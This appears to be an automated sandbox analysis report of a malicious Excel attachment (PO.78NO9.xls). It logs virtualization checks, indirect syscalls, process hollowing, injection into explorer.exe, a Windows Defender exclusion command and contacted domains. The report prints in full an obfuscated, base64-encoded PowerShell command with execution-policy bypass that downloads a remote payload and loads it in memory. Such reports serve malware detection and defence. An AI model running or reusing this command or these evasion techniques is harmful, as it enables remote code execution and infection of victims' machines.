Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskeng.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskeng.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskeng.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskeng.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\niLILOT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\niLILOT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\niLILOT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\niLILOT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\niLILOT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\niLILOT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\niLILOT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\niLILOT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\niLILOT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\niLILOT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\niLILOT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\niLILOT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\niLILOT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\niLILOT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\niLILOT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\niLILOT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\mstsc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX

Source: PO.78NO9.xls	Stream path 'MBD008EDE52/MBD002A6130/CONTENTS' entropy: 7.9540151927 (max. 8.0)
Source: PO.78NO9.xls	Stream path 'Workbook' entropy: 7.99872932515 (max. 8.0)
Source: FC830000.0.dr	Stream path 'MBD008EDE52/MBD002A6130/CONTENTS' entropy: 7.9540151927 (max. 8.0)
Source: FC830000.0.dr	Stream path 'Workbook' entropy: 7.99888812156 (max. 8.0)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Windows\SysWOW64\mstsc.exe	API/Special instruction interceptor: Address: 7731BECA
Source: C:\Windows\SysWOW64\mstsc.exe	API/Special instruction interceptor: Address: 7731D51A
Source: C:\Windows\SysWOW64\mstsc.exe	API/Special instruction interceptor: Address: 7731C1DA
Source: C:\Windows\SysWOW64\mstsc.exe	API/Special instruction interceptor: Address: 7731BFBA
Source: C:\Windows\SysWOW64\mstsc.exe	API/Special instruction interceptor: Address: 7731BFDA
Source: C:\Windows\SysWOW64\mstsc.exe	API/Special instruction interceptor: Address: 7731BE2A
Source: C:\Windows\SysWOW64\mstsc.exe	API/Special instruction interceptor: Address: 7731D26A
Source: C:\Windows\SysWOW64\mstsc.exe	API/Special instruction interceptor: Address: 7731C18A
Source: C:\Windows\SysWOW64\mstsc.exe	API/Special instruction interceptor: Address: 7731C25A

Tries to detect virtualization through RDTSC time measurements

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	RDTSC instruction interceptor: First address: 409904 second address: 40990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	RDTSC instruction interceptor: First address: 409B7E second address: 409B84 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\mstsc.exe	RDTSC instruction interceptor: First address: 89904 second address: 8990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\mstsc.exe	RDTSC instruction interceptor: First address: 89B7E second address: 89B84 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Memory allocated: 250000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Memory allocated: 2280000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Memory allocated: 1F60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Memory allocated: 80C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Memory allocated: 90C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Memory allocated: 92C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Memory allocated: A2C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\niLILOT.exe	Memory allocated: 460000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\niLILOT.exe	Memory allocated: 20C0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\niLILOT.exe	Memory allocated: 1D00000 memory reserve \| memory write watch

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Code function: 22_2_00A40101 rdtsc

22_2_00A40101

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\niLILOT.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 414	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1142	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 859	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6282	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 602	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4246	Jump to behavior

Source: C:\Windows\SysWOW64\mstsc.exe

API coverage: 0.9 %

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3212	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2084	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1264	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2104	Thread sleep count: 859 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2080	Thread sleep count: 6282 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2168	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2088	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2088	Thread sleep time: -3000000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2088	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe TID: 1732	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe TID: 2728	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3592	Thread sleep count: 602 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3592	Thread sleep count: 4246 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2584	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1408	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3572	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 1340	Thread sleep time: -300000s >= -30000s
Source: C:\Windows\System32\taskeng.exe TID: 3708	Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\AppData\Roaming\niLILOT.exe TID: 3956	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\mstsc.exe TID: 3836	Thread sleep time: -48000s >= -30000s

Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\mstsc.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\mstsc.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\mstsc.exe

Code function: 27_2_009120E2 PathFindFileNameW,PathAppendW,PathAppendW,GetFileAttributesW,PathAppendW,FindFirstFileW,PathAppendW,FindNextFileW,PathAppendW,FindNextFileW,FindClose,

27_2_009120E2

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\niLILOT.exe	Thread delayed: delay time: 922337203685477

Source: explorer.exe, 00000017.00000002.637462841.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}7
Source: explorer.exe, 00000017.00000000.488448630.0000000003E59000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&22BE343F&0&000000
Source: explorer.exe, 00000017.00000002.638410089.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.0
Source: explorer.exe, 00000017.00000000.488448630.0000000003E59000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\ide#cdromnecvmwar_vmware_sata_cd01_______________1.00____#6&373888b8&0&1.0.0#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}eeab7790
Source: explorer.exe, 00000017.00000000.487849649.00000000025E0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.0a
Source: explorer.exe, 00000017.00000000.488448630.0000000003E59000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\ide#cdromnecvmwar_vmware_sata_cd01_______________1.00____#6&373888b8&0&1.0.0#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}100\4&20

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process queried: DebugPort
Source: C:\Windows\SysWOW64\mstsc.exe	Process queried: DebugPort

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Code function: 22_2_00A40101 rdtsc

22_2_00A40101

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Code function: 22_2_009F00C4 NtCreateFile,LdrInitializeThunk,

22_2_009F00C4

Source: C:\Windows\SysWOW64\mstsc.exe

Code function: 27_2_00913AE1 LoadLibraryW,GetProcAddress,FreeLibrary,

27_2_00913AE1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_009E0080 mov ecx, dword ptr fs:[00000030h]	22_2_009E0080
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_009E00EA mov eax, dword ptr fs:[00000030h]	22_2_009E00EA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_00A026F8 mov eax, dword ptr fs:[00000030h]	22_2_00A026F8
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_021F26F8 mov eax, dword ptr fs:[00000030h]	27_2_021F26F8

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\mstsc.exe	Process token adjusted: Debug

Source: C:\Windows\SysWOW64\mstsc.exe

Code function: 27_2_00938791 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

27_2_00938791

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Memory allocated: page read and write | page guard

System process connects to network (likely due to code injection or exploit)

HIPS / PFW / Operating System Protection Evasion

Source: C:\Windows\explorer.exe	Domain query: www.my-tournament.live
Source: C:\Windows\explorer.exe	Domain query: www.senior-dating-73474.bond

Adds a directory exclusion to Windows Defender

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\niLILOT.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\niLILOT.exe"			Jump to behavior

Bypasses PowerShell execution policy

Source: C:\Windows\SysWOW64\wscript.exe

Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SU5WT0tFLWVYcFJFU1NJT04oICgnYycrJ0YxdXJsID0gJysnZlgnKydoaHR0cHM6Ly9yYScrJ3cnKycuZ2l0aHViJysndXNlcmNvbnRlJysnbnQuY28nKydtL05vJysnRGV0ZScrJ2MnKyd0T24vTm8nKydEZXRlY3RPbicrJy9yZWZzL2hlYWRzL21haW4nKycvRGV0YWhOJysnb3RoLVYuJysndHh0ZicrJ1gnKydoJysnOyBjRicrJzEnKydiYXMnKydlJysnNjRDb250JysnZW50JysnID0nKycgJysnKE5ldy0nKydPYmplY3QgJysnU3lzdCcrJ2UnKydtLicrJ04nKydldC5XZWJDJysnbGknKydlbicrJ3QpJysnLkRvd25sb2FkU3RyaW4nKydnKGNGMXVybCk7JysnIGNGJysnMWJpJysnbicrJ2EnKydyeUMnKydvbnRlbnQgPSBbU3knKydzdGVtLkMnKydvbicrJ3YnKydlJysncnQnKyddJysnOjpGcm8nKydtQmFzZTY0U3RyJysnaW5nKGNGMWJhc2U2NENvJysnbnRlJysnbnQpOyBjRjEnKydhJysnc3NlbWJseSA9IFtSJysnZWZsZWN0aScrJ29uLkFzcycrJ2VtYmx5JysnXTonKyc6TG9hZChjRicrJzFiaW5hcnknKydDb250ZW50KTsgJysnWycrJ2RubGliLklPLkhvbWVdOjpWQUkocE5BdCcrJ3gnKyd0LlJFUkMnKydDUi8zMzMvODIuMTQuJysnMDQyLjgzLy86cHR0aHBOQSwgcE4nKydBZGVzYScrJ3RpdmFkb3BOQSwgcE5BZGVzYXRpJysndmFkb3AnKydOQSwnKycgcE5BZCcrJ2VzYXRpdmFkb3BOQSwgcE5BYScrJ3NwbmV0X3InKydlZ2Jyb3dzZXJzcE5BLCBwTkFwJysnTkEnKycscE5BcCcrJ05BKScpLnJlUGxhQ2UoJ2ZYaCcsW1NUcmluR11bQ2hhcl0zOSkucmVQbGFDZSgoW0NoYXJdOTkrW0NoYXJdNzArW0NoYXJdNDkpLFtTVHJpbkddW0NoYXJdMzYpLnJlUGxhQ2UoKFtDaGFyXTExMitbQ2hhcl03OCtbQ2hhcl02NSksW1NUcmluR11bQ2hhcl0zNCkp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	NtClose: Indirect: 0x3CA56C
Source: C:\Windows\SysWOW64\mstsc.exe	NtClose: Indirect: 0x201A56C
Source: C:\Windows\SysWOW64\mstsc.exe	NtMapViewOfSection: Indirect: 0x2019D47
Source: C:\Windows\SysWOW64\mstsc.exe	NtQueueApcThread: Indirect: 0x201A531
Source: C:\Windows\SysWOW64\mstsc.exe	NtUnmapViewOfSection: Indirect: 0x2019DB9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	NtClose: Indirect: 0x36A56C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	NtQueueApcThread: Indirect: 0x3CA4F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	NtQueueApcThread: Indirect: 0x36A4F2
Source: C:\Windows\SysWOW64\mstsc.exe	NtClose: Indirect: 0x2019DC5

Injects a PE file into a foreign processes

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe base: 400000 value starts with: 4D5A			Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read and write
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read and write
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: NULL target: C:\Windows\SysWOW64\mstsc.exe protection: execute and read and write
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: NULL target: C:\Windows\SysWOW64\mstsc.exe protection: execute and read and write
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read and write

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Thread register set: target process: 1244
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Thread register set: target process: 1244
Source: C:\Windows\SysWOW64\mstsc.exe	Thread register set: target process: 1244

Queues an APC in another process (thread injection)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Thread APC queued: target process: C:\Windows\explorer.exe

Sample uses process hollowing technique

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Section unmapped: C:\Windows\SysWOW64\mstsc.exe base address: 8D0000

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe base: 400000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe base: 402000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe base: 4D0000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe base: 4D2000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe base: 7EFDE008	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\wegivenewthingssoonsweetnes.vbS"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SU5WT0tFLWVYcFJFU1NJT04oICgnYycrJ0YxdXJsID0gJysnZlgnKydoaHR0cHM6Ly9yYScrJ3cnKycuZ2l0aHViJysndXNlcmNvbnRlJysnbnQuY28nKydtL05vJysnRGV0ZScrJ2MnKyd0T24vTm8nKydEZXRlY3RPbicrJy9yZWZzL2hlYWRzL21haW4nKycvRGV0YWhOJysnb3RoLVYuJysndHh0ZicrJ1gnKydoJysnOyBjRicrJzEnKydiYXMnKydlJysnNjRDb250JysnZW50JysnID0nKycgJysnKE5ldy0nKydPYmplY3QgJysnU3lzdCcrJ2UnKydtLicrJ04nKydldC5XZWJDJysnbGknKydlbicrJ3QpJysnLkRvd25sb2FkU3RyaW4nKydnKGNGMXVybCk7JysnIGNGJysnMWJpJysnbicrJ2EnKydyeUMnKydvbnRlbnQgPSBbU3knKydzdGVtLkMnKydvbicrJ3YnKydlJysncnQnKyddJysnOjpGcm8nKydtQmFzZTY0U3RyJysnaW5nKGNGMWJhc2U2NENvJysnbnRlJysnbnQpOyBjRjEnKydhJysnc3NlbWJseSA9IFtSJysnZWZsZWN0aScrJ29uLkFzcycrJ2VtYmx5JysnXTonKyc6TG9hZChjRicrJzFiaW5hcnknKydDb250ZW50KTsgJysnWycrJ2RubGliLklPLkhvbWVdOjpWQUkocE5BdCcrJ3gnKyd0LlJFUkMnKydDUi8zMzMvODIuMTQuJysnMDQyLjgzLy86cHR0aHBOQSwgcE4nKydBZGVzYScrJ3RpdmFkb3BOQSwgcE5BZGVzYXRpJysndmFkb3AnKydOQSwnKycgcE5BZCcrJ2VzYXRpdmFkb3BOQSwgcE5BYScrJ3NwbmV0X3InKydlZ2Jyb3dzZXJzcE5BLCBwTkFwJysnTkEnKycscE5BcCcrJ05BKScpLnJlUGxhQ2UoJ2ZYaCcsW1NUcmluR11bQ2hhcl0zOSkucmVQbGFDZSgoW0NoYXJdOTkrW0NoYXJdNzArW0NoYXJdNDkpLFtTVHJpbkddW0NoYXJdMzYpLnJlUGxhQ2UoKFtDaGFyXTExMitbQ2hhcl03OCtbQ2hhcl02NSksW1NUcmluR11bQ2hhcl0zNCkp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
